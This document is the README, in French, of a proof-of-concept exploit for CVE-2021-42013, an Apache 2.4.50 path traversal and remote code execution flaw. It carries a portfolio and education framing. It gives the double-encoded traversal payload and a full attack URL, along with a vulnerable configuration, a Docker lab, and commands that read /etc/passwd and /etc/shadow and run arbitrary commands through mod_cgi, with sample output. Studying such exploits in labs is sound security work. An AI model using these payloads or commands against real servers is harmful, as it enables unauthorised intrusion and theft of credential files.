
Preuve de concept d'exploit pour CVE-2021-42013, démontrant un contournement de chemin et une exécution de code à distance sur Apache 2.4.50 via un contournement par double encodage URL du correctif de CVE-2021-41773.
À utiliser uniquement dans des environnements contrôlés et personnels. Ne pas utiliser contre des systèmes sans autorisation.
PoC développée pour démontrer CVE-2021-42013, présente dans Apache HTTP Server 2.4.50.
Cette CVE est le contournement du correctif qu'Apache a publié pour CVE-2021-41773. La version 2.4.50 a tenté de corriger le path traversal précédent en ajoutant une validation qui rejetait les séquences .%2e et %2e.. Cependant, cette validation était insuffisante : elle ne prenait pas en compte que le même résultat pouvait être obtenu avec un double encodage URL, laissant la même surface d'attaque exposée.
| CVE-2021-41773 | CVE-2021-42013 |
|---|
| Version affectée | Apache 2.4.49 | Apache 2.4.50 |
| Encodage utilisé | .%2e/ | %%32%65%%32%65/ |
| Mécanisme | Simple encodage | Double encodage (contournement du correctif) |
| RCE possible | Oui (avec mod_cgi) | Oui (avec mod_cgi) |
| Version corrigée | 2.4.50 (correctif incomplet) | 2.4.51 |
Le correctif d'Apache 2.4.50 a ajouté une validation dans ap_normalize_path() qui recherchait littéralement les séquences .%2e et %2e. dans le chemin de la requête. S'il les trouvait, il rejetait la requête avec un code 400 ou 403.
Le problème : cette validation s'exécutait sur la chaîne avant un deuxième passage de décodage URL. Si le payload était doublement encodé, la validation ne trouvait pas la séquence interdite car elle n'était pas encore décodée — et lorsqu'elle était finalement décodée pour résoudre le chemin du système de fichiers, le ../ était déjà présent et le traversal se produisait quand même.
Payload : %%32%65%%32%65/
Validation 2.4.50 cherche : .%2e → NE TROUVE PAS → laisse passer
Premier décodage : %%32%65%%32%65/ → %2e%2e/
Deuxième décodage : %2e%2e/ → ../
Résultat : traversal réussi
La véritable correction est arrivée en 2.4.51, où Apache a réécrit la logique de normalisation pour résoudre complètement le chemin avant d'appliquer toute validation de sécurité.
%%32%65 est la représentation doublement encodée de . :
. → %2e (encodage standard)
% → %25 (encodage du symbole %)
2 → %32 (encodage du caractère '2')
e → %65 (encodage du caractère 'e')
Ainsi %2e avec son % encodé et les caractères hexadécimaux encodés devient %%32%65.
Un premier décodage de %%32%65 produit %2e. Un second produit ..
| Condition | Détail |
|---|---|
| Version d'Apache | Exactement 2.4.50 |
| Directive d'accès | Require all granted dans le répertoire exposé |
| Module CGI | mod_cgi activé (uniquement pour RCE) |
# Image Apache 2.4.50 avec configuration vulnérable
docker run -d -p 8080:80 --name apache-2450 vulhub/cve-2021-42013
Ou manuellement avec Apache 2.4.50 et cette configuration dans httpd.conf :
LoadModule cgi_module modules/mod_cgi.so
<Directory />
Require all granted
</Directory>
<Directory "/var/www/cgi-bin">
Options +ExecCGI
AddHandler cgi-script .cgi .pl .sh
Require all granted
</Directory>
Alias /traversal /var/www/html
python PoC_2021-42013.py --target <URL> --mode <traversal|rce> [--cmd <commande>]
| Argument | Requis | Description |
|---|---|---|
--target | Oui | URL de base du serveur (ex : http://localhost:8080) |
--mode | Oui | traversal pour lire des fichiers, rce pour exécuter des commandes |
--cmd | Non | Commande à exécuter en mode rce (par défaut : id) |
# Lire /etc/passwd
python PoC_2021-42013.py --target http://localhost:8080 --mode traversal
# Exécuter id
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd id
# Commande avec espaces
python PoC_2021-42013.py --target http://localhost:8080 --mode rce --cmd "cat /etc/shadow"
============================================================
CVE-2021-42013 — Apache 2.4.50 Path Traversal + RCE
Contournement du correctif de CVE-2021-41773 via double encodage
PoC à des fins éducatives — Uniquement dans vos propres environnements
============================================================
[+] Mode : Path Traversal (double encodage — contournement du correctif CVE-2021-41773)
[+] Cible : http://localhost:8080
[+] Encodage : %%32%65%%32%65/ → %2e%2e/ → ../
[+] URL construite : http://localhost:8080/traversal/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
[+] Envoi de la requête...
[+] Serveur vulnérable ! Code HTTP : 200
[+] Confirmé : Apache 2.4.50 avec correctif incomplet
=== Contenu de /etc/passwd :
root:x:0:0:root:/root:/bin/bash
...
[+] Mode : RCE via mod_cgi (double encodage — contournement du correctif CVE-2021-41773)
[+] Cible : http://localhost:8080
[+] Commande : id
[+] RCE confirmé ! (Apache 2.4.50 — correctif incomplet)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
2.4.51 ou ultérieure.Require all denied comme valeur par défaut.mod_cgi s'il n'est pas nécessaire.PoC développée à des fins éducatives pour un portfolio en sécurité offensive.